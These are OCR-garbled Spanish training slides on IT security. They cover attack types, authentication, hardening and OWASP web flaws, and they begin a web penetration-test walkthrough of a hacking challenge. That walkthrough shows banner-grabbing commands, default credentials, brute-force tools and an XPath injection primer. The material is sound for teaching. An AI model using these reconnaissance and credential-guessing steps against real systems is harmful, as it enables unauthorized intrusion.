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‘L Definicion de seguridad

cQue es la seguridad?



www.francisco-valencia.es

i Definicion de seguridad

= La actividad de securizar una red se enfrenta a dos principales problemas:

= Existen muchas definiciones diferentes

= Existe cierta oposicidn a su implementacidn, debido a que la seguridad resta comodidad,
usabilidad

= Con la seguridad, se persiguen tres objetivos:

= Prevencion: Estrategias orientadas a evitar que los ataques sucedan. Es mucho mas facil
evitar que suceda un ataque que corregir sus efectos.

= Deteccion: Identificar los eventos en el momento que éstos suceden. Los peores ataques
duran meses, incluso anos, y nunca son detectados, por lo que es preciso, para poder
protegerse, una correcta deteccion.

= Respuesta: Desarrollo e implantacion de estrategias para evitar un ataque. Afectan a
multitud de factores.
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Definicion de seguridad

Proceso de empresa cuyo proposito es proteger los activos
de la compania con €l objeto de garantizar la continuidad
del negocio.

Procesos
de
Negocio

Eventos
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i Estructura de seguridad
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i Servicios de seguridad

La seguridad protege el acceso a zonas, informacion o sistemas por parte de
DErsonas no autorizadas para el acceso a estas zonas, informacion o sistemas.

Debe existir un proceso gue permita saber quien tiene acceso a qué. Este proceso
debe dotar de ciertos servicios a los elementos de seguridad.

m El usuario debe mostrar su credencial (nombre de usuario, documento nacional de
identidad, tarjeta criptografica, certificado digital, etc.)
éQuién es?

m Se comprueba que es quien dice ser (mediante contrasenas, sistemas biométricos,
tarjetas de claves, preguntas secretas, mensajes SMS, comprobacion de
éEs quién dice? certificados) Se puede autenticar por lo que sabe, lo gue tiene, lo que es, etc.

m Ya sabemos quien es. Ahora, ¢Qué puede hacer? ¢ Tiene permiso para hacer lo que
//;tenta? 560" e/Zp/earan sistemas de autorizacion centr7//zaafos /776']0/(‘7, a que cada
; 4 » €lemento decida y autorice. Aqui entran en juego los sistemas de gestion y
¢Que puede hacer? gy 2cion de identidades
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i Servicios de seguridad

Deben instalarse los sistemas necesarios para que se sepa quien ha accedido al
m serviclo protegido. Ademas, debe existir prueba (tal vez sea necesario que tenga
valldez juridica) de esa accion, con indicacion exacta de t/emfpo, persona y accion

0

Prueba de lo sucedido realizada. Se emplean tecnicas de syslog y de andlisis forense., ademds de
funcionalidades de accounting de sistemas centrales como RADIUS

Las acciones que se lleven a cabo, deben llevarse integramente, no pueden existir
m sistemas afectados no conocedores de los cambios realizados. El sistema debe ser
robusto y realizar acciones colaterales automdticamente., Las acciones realizadas

Inalteracion de datos por el autorizado no deben poder ser modificadas por nadie.

Nadie debe poder conocer cuales han sido las acciones realizadas, ni los datos
intercambiados para ello. Se emplean tecnicas de encriptacion, redes
. . independientes. Etc.
Privacidad de datos
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Introduccion a autenticacion

= El usuario usa tantas claves y metodos de autenticacion
COMO Servicios presta la organizacion.

y FI ulsuarlo para simplificar su trabajo tiende a usar claves muy
aciles

= Con un minimo conocimiento de la persona puedo saber cual
es la clave que usa.

= Los costos de administracion de usuarios aumentan.

= La administracion de usuarios se hace de manera
descentralizada en cada aplicacion.

= Cada servicio c1ue presta la organizacion tiene su propio
metodo para el manejo de los usuarios.
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Introduccion a autenticacion

= Si se compromete un acceso...

= Pérdida de confidencialidad de la informacion, debido a que al
usar claves débiles se puede acceder a la informacion privada de
la organizacion.

= Pérdida de la integridad de la informacion y suplantacion de
usuarios, usando la clave de otra persona se puede alterar la
informacion haciendose pasar por otra persona.

= Pérdida de la disponibilidad de la informacion, al cambiar la
informacion no se tiene acceso a esta cuando se requiere.
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Introduccion a autenticacion

Biometria: Se usan caracteristicas fisicas para identificar al usuario (huella dactilar, voz, iris, etc)

Certificados: El empleo de certificados digitales consiste en un dispositivo de acceso (bien fisico como tarjetas o
bien solo software), que se presenta al tratar de acceder a un sistema. En este certificado consta una entidad de
confianza corrobora la validez de dicho certificado.

CHAP (Challenge Handshake Autentication Protocol): CHAP no utiliza user/password. En lugar de eso, el
cliente envia una peticion de autenticacidn al servidor. Este, le envia un Challenger (una trama) al cliente, el cual
la cifra empleando su password. El resultado cifrado es enviado de vuelta al servidor, quien la comprueba con su
propio resultado tras aplicar el mismo cifrado.

Kerberos: Kerberos utiliza un KDC (Key Distribution Center). El KDC autentica al sistema y genera un ticket para
él. El usuario que pretende acceder al sistema solicita antes de atacar al sistema al KDC, para obtener el ticket,
que luego presenta al sistema al que pretende acceder como método de autenticacion. El autenticado es
realmente el sistema servidor.

Autenticacion multi-factor: Consiste en presentar una doble autenticacion para poder acceder al sistema
(password + certificado, por ejemplo).

Autenticacion mutua: Consiste en el sistema en el que el usuario debe autenticarse al servidor y viceversa.
PAP (Password Autentication Protocol): Realmente no ofrece mucha seguridad. Con PAP el usuario y la
password son enviados al sistema al que se desea acceder y éste lo comprueba con una lista, autorizando o no el
acceso.

Tokens: Son parecidos a los certificados, contienen el permiso de acceso al sistema. Son de un solo uso, una vez
que un usuario ha accedido empleando un token, este deja de ser valido.

Smart cards: Es una tarjeta que da acceso a determinados recursos. Contiene informacion sobre los privilegios
de acceso y la identidad del usuario. A menudo requieren ser acompanadas de una password personal (PIN)

User / password: Se entrega una pareja de user/password para acceder al sistema. "



www.francisco-valencia.es

i Seguridad como proceso

La mayoria de los problemas de seguridad en las organizaciones son
internos

= Las politicas de seguridad son parciales
= Las contrasenas son reveladas facilmente o incluso publicas

= El aprovisionamiento manual de las cuentas de usuario provoca
errores recurrentes

= Los administradores de TI no siempre son conscientes de los cambios
en la organizacion
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i Seguridad como proceso

ANALISIS DE
RIESGOS

VIGILANCIA DE INCIDENCIAS ¥ Politica de DISENO TECNOLOGICO DEL
DE SEGURIDAD ali¢ Seguridad PLAN DE SEGURIDAD

corporativa

IMPLANTACION SISTEMAS
DE SEGURIDAD
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i Seguridad como proceso

Identificar propiedades: Consiste en analizar y dar un valor a todas las
propiedades de la empresa. El apartado mas complicado suele ser hacerlo con la
informacion, cuando ésta debe considerarse como la propiedad mas importante
de la empresa.

Identificar riesgos: Consiste en identificar lo que sucederia, en términos
economicos, de negocio, etc cuando las propiedades identificadas son robadas,
perdidas, no estan disponibles, etc.

Identificar amenazas: Es necesario identificar las amenazas reales a las que
esta sujeta la empresa. Las amenazas hay que dividirlas en amenazas externas
(un hacker externo, una tormenta), y las internas (un empleado descontento,
un mal administrador de sistemas)

Identificar vulnerabilidades: Todos los sistemas TIC estan sujetos a
vulnerabilidades, que pueden ser aprovechados para acceder a los sistemas. Es
responsabilidad de los técnicos de seguridad identificar estas vulnerabilidades
para anticiparse a ellas.
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i Seguridad como proceso

Last Backup or

Foint Where Data Disaster Systems
15 in Usable State Strikes Recovered
I,-I
E_E\»
L How Far Back? | - ow Long to Recover? .
Recovery Recovery
Foint Time

o Al realizar el plan de seguridad, es preciso definir estos dos tiempos para cada
servicio de la empresa (correo, servicios a clientes, bases de datos, discos de
almacenamiento, etc)

o RT define el tiempo que se tarda desde que exista un fallo hasta que los sistemas se
recuperan

o RP es el momento anterior al ataque al que se retrocede, habitualmente por que es el
momento de la Ultima copia de seguridad realizada para la informacion perdida.
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Atagues en los sistemas TIC

Introduccién y conceptos de seguridad
Ataques en los sistemas TIC

Tipos de ataques

Ataque DOS (Denial of Service, denegacion de servicio)
Ataques pasivos

POD (Ping of Death, Ping de la muerte)
Ataque TCP

Atague DDOS (Distributed Denial of Service)
Ataque ARP Spoofing

Ataque IP Spoofing

Atague MIM (Man in the middle)

Ataques a sistemas

Virus, Troyanos, Gusanos

Tipos de virus

Exploits

Seguridad en los Sistemas Opetrativos
Desarrollo Software
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i Tipos de ataques

JAtaque de acceso : Alguien ha accedido a los datos o a los recursos por parte de alguien

no autorizado a hacerlo. Algunos de los métodos que se emplea para realizar estos atagues
son:

JAtaque de repudio: Alguien quiere modificar informacién contenida en los sistemas. Son
ataques dificiles de detectar. Un ataque tipico es el WEB defacement, que cambia el
contenido de una pagina WEB.. Una variacion a este ataque es el ataque de reputacion,
gue no modifica la informacion, pero hace ver que la fuente de la misma no es fiable. Para
hacer estos ataques antes es necesario realizar un ataque de acceso.

JAtaque de denegacién de servicio (DoS): Intentan hacer que el sistema sea incapaz de
cumplir su funcion. Muchos se basan en consumir los recursos de la victima, hasta que no
puede hacer su funcion normal. Una modalidad es el ataque de DoS distribuido (DDoS),
donde muchas maquinas (zombies) controladas por un atacante, lanzan al mismo tiempo
un ataque contra la victima, multiplicando la potencia del mismo y dificultando la
localizacion real de la fuente.

18
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i DOS (Denial of service)

Gets no
Access
Authorised
User
Unauthorised Intrusion J
User

Es un concepto de ataque mas que un ataque en si mismo

Tiene como objetivo hacer que su victima no pueda acceder a
un determinado sistema, o detener un servicio

19
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i Ataques pasivos

JSnifar la red: Mediante un PC con una tarjeta en modo

promiscuo, se puede recibir toda la informacidon que circula por la
red, y analizar su contenido

JEscaneo de puertos: Consiste en atacar a todos los puertos de
una maquina determinada, para saber si estan abiertos o no.
Ademas, por muchos de ellos se prestara informacion que ayuda
a conocer parametros del sistema.

20



www.francisco-valencia.es

i PING SMURF

El hacker lanza un ping broadcast o broadcast dirigido, poniendo A como origen de la solicitud
Los hosts contestan a su ping, respondiendo a A
A debe atender cientos o miles de respuestas de ping no solicitadas 21
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i POD (Ping of Death)

=
) >
<] L ~ & <

90,000 bytes 30,000 bytes per fragment 90,000 bytes

: Errorl

Consiste en lanzar un paquete ICMP (PING) de un tamano anormalmente grande, provocando una
saturacidn en la memoria que gestiona las tramas IP del sistema receptor (buffer overflow), y causando
su denegacion de servicio.

22
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‘_h Ataques TCP

A C (Actuando como B)
flags=SYN, seq=(S0.7

'flags=SYN+ACK, seq=(8a,5b)-

A allocates kernel resource

for handling the starting connection

No answer from B...
120 sec timeout Denial of Services

Free the resource kernel resources exhausted

(] Atague TCP SYN o TCP ACK Floyd atack : El propésito es denegar el servicio. El ataque consiste en lanzar muchos inicios de sesién
(paquetes ACK) pero no cerrar ninguna. Los servidores tienen un limite de sesiones que pueden tener en este estado, con lo que al
llenarse deja de estar operativo.

L] Ataque de nimero de secuencia TCP : El atacante coge el control en un extremo de una sesién TCP. Cada vez que se manda un
paquete TCP, tanto el cliente como el servidor lo hacen con un nimero de secuencia. Entonces el atacante genera un paquete idéntico
con un numero de sesion distinto (por ejemplo superior). La sesion se cae 0 se hace inestable, al esperar las maquinas el paquete con
el nimero adecuado.
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i DDOS (Distributed DOS)

. El hacker busca una vulnerabilidad en varios hosts, como el
/. exploit de Windows BIND o el ICMP stack overflow, y les
’””“9"”99”’5 carga un software que responda a su orden para lanzar un

ataque

Puede hacerlo uno a uno o usando herramientas
automaticas.

Innocent agents
Innocent handler

El software busca otras estaciones a las que infectar. El
troyano se queda en todas las estaciones, esperando a las
ordenes del hacker, que ya no esta en escena

24
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DDOS (Distributed DOS)

= B i ! -':i"-'
-_':h: D "__""
wAnocent agents

e Fﬁ
"'-.
l - L5

nhnocent agents

o
P 1p
F —

Innocent handler

A la orden del hacker, TODAS las estaciones lanzan un ataque simultaneo

Ideal para atacar grandes sistemas (famosa caida de yahoo) 55
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ARP SPOOFING

C esta mandando respuestas
ARP falsas a A, interceptando el
trafico IP dirigido a B

26
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i IP SPOOFING

B is a friend
allow access

C esta lanzando un ataque para acceder a A con identidad de B
El atague se completa con ataques de IP routing, para asegurar el trafico de vuelta
Incluso sin ello, pueden ejecutarse muchas acciones (SNMP, por ejemplo) 27
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i Man in the middle

Site A Site B

Intended Connect
L - - Hulx

Attacker claims Attacker claims
to be Site A to be Site B

Man-in-the-middle
attacker

Se captura toda la informacién entre Ay B
ESPECIALMENTE peligroso en entornos cifrados, donde el cliente se siente seguro
Interceptacion fisica o atacando a un DNS (al server o IP spoofing del mismo) 28
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i Ataques a sistemas

JAtaques de puerta trasera : Puede existir una puerta trasera bien por que se ha desarrollado para labores de
mantenimiento o bien porque se ha desarrollado un software que la crea. La puerta trasera da acceso al sistema sin
los mecanismos de control de acceso principales.

] Ataques de spoofing: Un spoofing es una suplantacion de identidad. Los ataques mas comunes son IP spoofing y
DNS spoofing.

1 Ataques de hombre en el medio: Son ataques mas sofisticados. El método es poner un cédigo entre el usuario y
el servidor, y capturar el trafico que circula entre ambos, haciendo creer a cada uno que esta hablando con el otro.

] Ataques de repeticion: En una red local, los datos como user y password son enviados por la red. un atague de
repeticion consiste en capturar esa informacion y reenviarla. Puede ocurrir incluso con certificados como Kerberos.

] Ataques de adivinacion de password:  Son ataques de fuerza bruta o basada en diccionarios para tratar de lograr
la password de acceso a un sistema.

] Ataques de escalada de privilegios:  Estan asociados con Bugs en el software, que le permitiria a la aplicacion (y
a quien la controle) obtener permisos superiores a los que originalmente tenia la aplicacion

29
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i Virus, troyanos, gusanos

JVIRUS: Software que se copia automaticamente y que tiene por objeto causar dafios en el sistema,
sin el permiso del usuario. Los virus se replican y ejecutan por si mismos. Habitualmente, reemplazan
archivos ejecutables por otros infectados con el codigo de este.

(UTROYANOS: Se denomina troyano a un software capaz de alojarse en sistemas y permitir el acceso
a usuarios externos, con el fin de recabar informaciébn o controlar remotamente a la maquina
anfitriona, pero sin afectar al funcionamiento de ésta.

(JGUSANOS: Software con capacidad de reproducirse, como un virus, pero que no ataca a los
sistemas. Su propia capacidad de reproduccion hace que los dafios causados sean relativos a
consumo de recursos (CPU,memoria, etc) y ancho de banda en las redes.

SPYWARE: Similar a un troyano, pero recopila informacion del equipo afectado, y se la hace llegar al
atacante. Son muy silenciosos y peligrosos.

JADWARE: No es realmente un ataque. Es un software que permite la apertura emergente de
ventanas con contenidos publicitarios, habitualmente

CJBOMBA LOGICA: Son programas que se ejecutan cuando sucede determinado evento. (por ejemplo
hay conexién a Internet y ademas se ha iniciado un procesador de textos)

30
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i Tipos de virus

JArmored : Es un virus de muy dificil deteccion. Se protegen de modo que los analizadores de
codigo no lo interpretan como malicioso.

Companion : Se introducen dentro de cédigo legitimo.
IMacro: Son macros que se ejecutan en aplicaciones que las soportan (Como office)
Multipartite : Ataca al mismo tiempo varios elementos del sistema.

JPhage: Infecta multiples tipos de archivos, infecta varias aplicaciones y bases de datos. No hay
forma de eliminarlo, salvo reinstalando el sistema infectado.

JPolymorphic : Son virus capaces de cambiar de aspecto para evitar ser detectados.
JRetrovirus : Es un virus que ataca al antivirus

JStealth : Virus que se enmascara en otras aplicaciones del SSOO para evitar ser detectado.

31
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i Exploits

JUn exploit es una vulnerabilidad en un cédigo o sistema que permite a dicho sistema ser
atacado por un hacker

JLos virus mas famosos han surgido debido a exploits del sistema operativo Windows
(recordad el famoso NIMDA, que caus6 dafios de miles de millones de ddélares a 300.000
empresas de todo el plante, mas de 10.000.000 de ordenadores infectados, pérdida
enorme de informacion, etc).NIMDA (ADMIN escrito al revés) se trataba de un exploit
gue otorgaba derechos de administrador a cualquier usuario o aplicaciéon sin esos
permisos al recibir la maquina un flujo concreto de datos en un puerto determinado

JLos fabricantes de sistemas operativos (No solo de ordenadores o servidores, sino de
todo tipo de sistemas como routers, centrales de conmutacion, etc) publican parches de
seguridad cada vez que se detecta un exploit. En ese momento es cuando se publican.

JHabitualmente, media hora después de la publicacién, ya hay sistemas atacados por esa
vulnerabilidad. Hay que ser muy rapido en la descarga e instalacién de todos los parches
de seguridad de todos los sistemas

32
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Seguridad en Sistemas Operativos

] “Hardening” es el proceso de blindar o proteger un sistema para hacerlo mas seguro frente a ataques e
intrusos. Es necesario considerar tres elementos en la proteccion del sistema operativo:

- Configurar adecuadamente los protocolos de red: Casi todos los sistemas operativos trabajan con

TCP/IP,

NetBEUI o IPX/SPX. Sobre estos tres protocolos puede montarse NetBIOS de Microsoft. Cuando se

configuran los protocolos usados por el sistema operativo (en propiedades de red) hay que seleccionar
exclusivamente los que vayan a ser utilizados. "Binding” es el proceso de encapsulado de unos protocolos
sobre otros.

L Utilizar las opciones de seguridad del sistema operativo:

ooo000

o000

Control de cuentas de usuario

Firewall y web filter

Herramientas de monitorizacion, analisis y logging
Cifrado de disco duro y comunicaciones

Active Directory

Actualizaciones
(] Hotfixes: Sirven para solucionar un fallo de un sistema
[ Service packs: Es un conjunto de actualizaciones que se empaquetan en un simple producto
] Patches: Es una solucidon temporal de un problema.

Politicas de acceso, permisos de acceso a ficheros, permisos de ejecucién
Detener todos los servicios y aplicaciones no usados 33
Politica de passwords fuertes
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Seguridad en Sistemas Operativos

) Securizar los sistemas de ficheros:

1 Microsoft FAT (File Allocation Table): disefiado para discos pequenos. Ha evolucionado a FAT16 y a FAT32. Sélo
permite dos tipos de proteccidn. Los permisos asociados a un directorio se extienden a todo su contenido.

) Microsoft NTFS (New Technology Fyle System): Evolucién mas segura que FAT. Cada fichero o directorio tiene sus
propios atributos de seguridad, incluyendo listas de acceso. Tiene tres niveles (Read-Only, Change o Full-control)

1 Novell NetWare Storage Services: Se suele llamara NetWare File System (NFS). Permite el control total de
cualquier recurso presente en un servidor NetWare.

) Unix Filesystems: Sistema jerarquico con tres niveles de permiso (lectura, escritura y ejecucion). Es compleja de
configurar al implantar el sistema.

1 Unix Network Filesystems: Es un protocolo que permite montar unidades remotas. Es dificil de asegurar, sobre
todo por su autenticacion.

1 Apple File Sharing: Es similar a Unix Filesystems, un protocolo sencillo para la gestion de recursos en Apple. Se
considera seguro al no ser Apple un protocolo enrutable.

34
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Seguridad en desarrollo SW

J El standard mas aceptado en seguridad es el Common Criteria (CC) que ha definido un conjunto de
baselines basado en 7 niveles llamados EAL (Evaluation Assurance Levels):

) EAL 1: Se utiliza cuando se desea que el sistema funcione correctamente, pero no se plantean
que existan amenazas sobre el mismo

) EAL 2: La seguridad no se considera una prioridad. Se deben desarrollar productos con buenas
practicas de diseno.

J EAL 3: Requiere esfuerzos de desarrollo para lograr niveles moderados de seguridad.

) EAL 4: Requiere Ingenieria en seguridad basada en buenas practicas comerciales en materia
de seguridad.

] EAL 5: Se trata de asegurar que el equipo de ingenieria ha trabajado en el equipo de
desarrollo desde el primer momento. Se buscan altos niveles de seguridad. Para alcanzar esta
certificacion hay que considerar consideraciones de disefio especiales.

] EAL 6: Proporciona muy elevados indices de seguridad contra los riesgos mas importantes.
También tiene un alto nivel de seguridad frente a ataques de penetracion.

) EAL 7: Un nivel extremadamente alto de seguridad. La certificacion requiere pruebas, medidas
y un exhaustivo e independiente test de seguridad de la aplicacion.

] La mas adecuada en software comercial es EAL 4, aunque pocos sistemas estan certificados en este
grado. 35



www.francisco-valencia.es

Aplicaciones

] Correo electronico: Trabaja con 4 principales protocolos:

L SMTP (Simple Mail Transport Protocol): Es un protocolo que transfiere correo electronico entre un cliente y un servidor y
entre servidores. Funciona en el puerto 25 de TCP.

Ul POP (Post Office Protocol): Un cliente solicita al servidor que le entregue correo electrénico. Permite la transferencia en
diferido de correos, con lo que el servidor debe soportar almacenar correos. La ultima version (POP3) trabaja en el puerto 110 de

TCP.

U IMAP (Internet Message Access Protocol): Es la evolucidon de POP3, ya que permite determinadas funciones mas avanzadas
que POP (por ejemplo la descarga de correos basandose en criterios de busqueda). La Ultima version (IMAP4) trabaja en el puerto

143 de TCP

L] SMTP Relay: Es una caracteristica que permite a un servidor reenviar correo a otros sitios. Es utilizado por el SPAM. Deberia ser
desactivado en el servidor salvo que se esté usando de modo conocido y controlado.

1 FTP (File Transfer Protocol): Es un protocolo de transferencia de ficheros.

) Muchos servidores FTP aceptan un usuario anénimo con una direccién de email como fuente de acceso permitida para descargar
ficheros.

Ul Existe el protocolo SFTP, que monta FTP sobre SSH para que la transferencia de datos sea cifrada entre el cliente y el
servidor. Una evolucion de FTP son los protocolos de compartir ficheros (Como los protocolos P2P).
36
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Aplicaciones

1 Servicios de directorio: Son herramientas que permiten, a modo de lista, organizar los recursos de la red, para que
sean rapidamente identificados. Los servicios de directorio tratan a todos los elementos de la red como objetos. Ademas,
crean y almacenan datos que pueden ser publicados a otros elementos de red. La seguridad de los servidores de directorio
es critica, y el acceso a la misma suele estar protegido con autenticacion. Algunos servicios de directorio son:

1 Lightweight Directory Access Protocol (LDAP): Es un protocolo estandarizado de acceso a servicios de
directorios, como Ad o X.500. Utiliza el puerto 389 de TCP.

1 Active Directory (AD): Es el servicio de directorio de Microsost. Es el backbone para servicios de seguridad y
otros. Para cada elemento de red permite definir para cada elemento:

] Distinguished Name (DN): Valor Unico a cada obijeto.

] Relative Distinguished Name (RDN): Valor que puede ser repetido. Forma parte del DN.

1 User Prinicpal Name (UPN): Nombre “amistoso” del recurso, como su direccion de correo, por ejemplo.
) Canonical name (CN): Es el DN escrito de forma candnica

J X.500: Es el servicio de directorio estandarizado por la ITU, y empleado por las redes Novell.

] eDirectory: Servicio de directorio empleado en redes NetWare.
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Aplicaciones

1 Bases de datos: La mayor parte de las bases de datos son accedidas utilizando SQL (Structured Query Language)
que permite obtener un dato de una busqueda que coincida con un determinado patrén con una sola linea de comando,
lo que hace que sea muy funcional, pero mas inseguro. Para mejorar la eficiencia y la seguridad, se ponen aplicaciones

entre el usuario y la base de datos, que son las autorizadas a consultar en la base de datos. Existen tres mecanismo de
hacer esto:

- Modelo One-Tier: La aplicacion y la base de datos estan en la misma maquina.

] Modelo Two-Tier: La aplicacion esta en el PC del cliente

] Modelo Threee-Tier: La aplicacion esta en un servidor independiente, al que accede el cliente.
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APLICACIONES NO SEGURAS
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APLICACIONES SEGURAS
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Seguridad en entornos WEB

Introduccion y conceptos de seguridad
Ataques en los sistemas TIC
Seguridad en entornos WEB

1. Vulnerabilidades WEB
2. Test de Intrusién WEB

Ingenieria Social
Practica: Ataques basicos
Seguridad en Redes de Area Local
Practica: Implementacion de seguridad en redes LAN
Seguridad Perimetral
Practica: Implementacion de politicas de seguridad Perimetral
lO Infraestructuras de clave publica
11. Introduccion a LDAP
12. Seguridad en Comercio Electronico
13. Gestion de la seguridad
14. plan Director de Seguridad
15. Examen CompTIA Security+
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Vulnerabilidades WEB

] Web: La informacion de las paginas WEB esta escrita en HTML y se transporta sobre HTTP. HTML esta
evolucionando a XML (Extensible Markup Language) en muchos aspectos. Sobre el protocolo HTTP también
pueden viajar otros elementos que pueden ser daninos para el cliente, con lo que hay que controlarlos.

] Conexiones WEB seguras: Existen dos protocolos de acceso seguro a la WEB:

) Secure Socket Layer (SSL): Utiliza un mecanismo de cifrado entre cliente y servidor. El
cliente inicia la sesion y el servidor responde diciendo que el cifrado es necesario, y negocian el

mejor mecanismo de cifrado.

] Transport Layer Security (TLS): Es la evolucion de SSL, y compatible con éste. Permite
otros protocolos de cifrado como 3DES. Ambos viajan por el puerto 443 de TCP.

) HTTPS: Es un protocolo que utiliza SSL o TLS para transferencias seguras de trafico HTML.
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Vulnerabilidades WEB

) Hay al menos 300 problemas que afectan a la seguridad
de aplicaciones WEB. Todas estas vulnerabilidades estan
recogidas en la guia publicada por OWASP (Open Web
Aplication Security Proyect) (www.owasp.org), documento
de consulta obligada en el desarrollo WEB
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Vulnerabilidades WEB

O ActiveX: Tecnologia de Microsoft que permite incrementar la usabilidad de paginas WEB. Se descargan y ejecutan en el cliente, y pasan por un protocolo de
autenticacién llamado Authenticode. Muchos navegadores exigen al usuario que confirme su instalacion, pero incluso asi son peligrosos.

[ Buffer overflow: Este efecto se produce cuando una aplicacion recibe mas informacion de la que esta programada para soportar. Existen multiples ataques de buffer
overflow.

0 Common Gateway Interface (CGI): Es una técnica de ejecucion de scripts en el servidor en base a parametros de entrada facilitados por el cliente. Esta siendo
sustituido por scripts que se ejecutan en el cliente como ActiveX o Java.

] Cookies: Son ficheros de texto escritos por los sitios WEB que almacenan en el PC del cliente determinada informacion al objeto de adaptarse al mismo. Su peligro
radica en que el robo de esta informacion puede aportar mucha informacion relativa al usuario del PC.

[ Cross-site scripting (XSS): Consiste en una aplicacion que recoge datos facilitados por el usuario y los envia al WEB browser sin antes validar o cifrar esos datos. XSS
permite a un atacante ejecutar un script en el WEB browser de la victima que podria introducir gusanos, modificarel contenido de WEBs visitadas, etc.

U Input Validation: Se trata de vulnerabilidades en las aplicaciones por las que al introducir un usuario el user/password de una aplicacion pueda o no tenerse en cuenta
0 bien existir una password de una puerta trasera.

] Java Applets: Es un script java autocontenido que puede ser descargado desde un servidor WEB y se ejecuta en el cliente. Los applets de java se ejecutan en una
maquina virtual de java, y en una zona cerrada de memoria llamada sandbox. Mientras que no se vulnere esta zona de memoria, no se corre peligro, pero vulnerabilidades
en la maquina virtual de java podrian hacer que un applet ejecutara cddigo fuera de esta zona de memoria.

0 JavaScrip: Software que puede ejecutarse en un PC, sin necesidad de disponer la maquina virtual de java, y que tienen todos los permisos de cualquier software que
se haya desarrollado en el PC.

[ Pop-ups: Un sitio WEB abre una nueva instancia WEB forzando al cliente a visitar zonas que no han sido demandadas.

[l signed Applets: Son similares a los Java applets, pero no se ejecuta en el sandbox, con lo que tiene mas acceso a los componentes del sistema.
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Vulnerabilidades WEB

U Fallos de inyeccion. Principalmente usado en sentencias SQL, son habituales en aplicaciones WEB. Ocurre cuando los datos que el
usuario envia se interpreta como parte del cédigo.

U Ejecucion de archivos maliciosos. Si el codigo es vulnerable a incluir ficheros externos (RFI), como una composicion de una
WEB empleando XML o PHP, los atacantes podrian incluir cédigo malicioso.

Ul Referencia Direct Object Insegura. Ocurre cuando un desarrollador expone una referencia a un objeto interno, como u fichero,
directorio, base de datos, etc, como parametro de la URL. Un atacante podria modificar esa referencia y acceder a objetos no
autorizados.

Ul Cross Site Request Forgery (CSRF). Un ataque de CSRF fuerza al browser de la victima (ya logado en un sistema) a enviar un
request a una aplicacion WEB vulnerable, que fuerza al browser de la victima a realizar acciones hostiles en beneficio del atacante.

U Information Leakage and Improper Error Handling. Las aplicaciones pueden ofrecer informacion sobre su configuracion. Los
atacantes pueden utilizar esta informacioén para encontrar vulnerabilidades, robar datos o suplantar identidades.

U Autenticacion comprometida. Si las credenciales de acceso no son debidamente protegidas, podrian ser robadas por un
atacante que podria asumir la identidad de la victima.

Ll Mecanismo criptografico inseguro. Si los mecanismo de cifrado empleados entre un cliente y el servidor no son adecuados,
podrian verse vulnerados y robar datos o credenciales.

Ll Comunicaciones no seguras. Es frecuente no utilizar mecanismos de cifrado cuando deberia usarse, o transmitir datos a través
de medios considerados maés seguros de lo que son.

Ul Fallo al restringir el acceso a una URL. Es habitual que se protejan datos internos del servidor ocultando la URL en la que se
encuentran, pero un usuario podria encontrar algoritmos de busqueda de objetos y acceder a los mismos sin conocer la URL.
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i Test de intrusion

“COmo realizar un test de
Intrusion a una aplicacion
Web”

Mi agradecimiento a:

Roman Medina-Heigl Hernandez
“‘RoMaNSoFt”

B

Alberto Moro Martinez
“Mandingo”




Comienza la aventura.
sword de acceso

%) Login - Mozilla Firefox

Erag Yiln

Usuario:

Passward:

tarta de qu on aranda
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Pamplonat 28/5 al 31/5
Wizo: 446 al B/6 Mawo
Murcia: 0476 al 2246
Pamplonar 446 al /6
Tenerife: 11/6 al 1546
Walladalid: 18/6 al 22/6
Barcelona: 25708 a 13507
Walencia: 247 al 2777

Plug-in Firefox:
“Header Spy”

Reto Hacking Il
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Identificando la plataforma

4 A\ n
M etOd 0 m a n u a : roman@jupiter:~$ telnet retohacking3.elladodelmal.com 80

Trying 80.81.106.148...
Connected to retohacking3.elladodelmal.com.

: Puerto 80 (HTTP) T

Host: retohacking3.elladodelmal.com

> H P/ 1 . O HTTP/1.1 200 OK

Connection: Keep-Alive

~ . Content-Length: 9099

> H P / 1 1 d Date: Mon, 17 Sep 2007 15:07:49 GMT
u a n a I r Content-Tvne: text/html: charset=utf-

Server: Microsoft-11S/6.0

Cd bece Fa W H OSt") X-Powered-By: ASP.NET

X-Aclnl\lpt-\/prcinn' 2050727
Cache-Control: private

. Puerto 443 (HTTPS) .

telnet>  quit

Connection closed.

» Cllente SSL + roman@jupiter:~$
Métodos HTTP

Identificacion mediante HTTP 1.1

roman@jupiter:~$ openssl s_client -quiet —connect
retohacking3.elladodelmal.com:443

Identificacion mediante HTTPS
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i Identificando la plataforma

» Meétodo “"automatico”: cualquier herramienta que
inspeccione cabeceras HTTP. Ej: “"Header Spy” (Plug-in
Firefox basado en “Live HTTP Headers”)

« Si las cabeceras mienten (banner “ofuscado”):
» HTTP Fingerprinting (ej: httprint)
» Netcraft

» Extension de los ficheros (.aspx -> .NET)

» QOtros: investigar autor (Google), ingenieria social, ...
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Al ataque!

= Lanzar scanner web (WeblInspect, Acunetix, AppScan...)
» Pueden dar algunas ideas o descubrir bugs “sencillos”
» Caros y no siempre Utiles. iNo sustituyen a un pen-tester!

s User/pass por defecto (admin/admin, guest/guest, etc)
» Fuerza bruta (THC Hydra)

» Paginas “escondidas”
» Ej: http://.../admin/ & http://.../admin.aspx
» Herramienta: “pipper”

= Arrancar proxy tipo Paros o WebScarab
» Inspeccion de trafico
» Modificar parametros (cambiar “true” por “false” o al reves, etc.)
» Pruebas de inyeccion

= Analizar fuentes HTML / CSS /JavaScript
» Autenticacidn en el lado de cliente
» Parametros ocultos
» Comentarios

»
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Encontramos una pista...”XML Validation”

) Cédigo fuente de:http:/fretohacking3.elladodelmal.com/default.a... BE|E|

_ Plug-in
S/ EAs</trs - Firefox:
JSView

<tr><td>Tres

</ ETF
‘table
<t—— XML, Validation —-->
cellpadding="2" cell=zpacing="0" border="0"

<td align="left':>

gnbysp:<span id="ctlid ContentPlaceHolderl LakbelZ"”
</tdx
<td>
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i Encontramos una pista...”XML Validation”

Las aplicaciones
web necesitan
guardar datos

MS-SQL,
PostgreSQL,
Oracle...)

LDAP

RDBMS (MySQL,

-

Un ataque tipico es la
inyeccion: variar
significado sentencia

(en nuestro beneficio)

2
SQL Injection

LDAP Injection

+ (XML

II‘ XPath Injection
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¢Que es Xpath?

<?xml version="1.0" encoding="IS0O-8859-1"?>
<users>
<user>
<username>romansoft</username>
<password>!dSR</password>
<uid>0</uid>
</user>
<user>
<username>crg</username>
<password>hax0r</password>

<uid>31337</uid>
</user>
</users>

Base de datos XML

Aplicable a “bases de datos” XML

- Realmente no es mas que un
documento XML

- La informacion se guarda en nodos

o I,og rllodos se estructuran en forma de
arbo

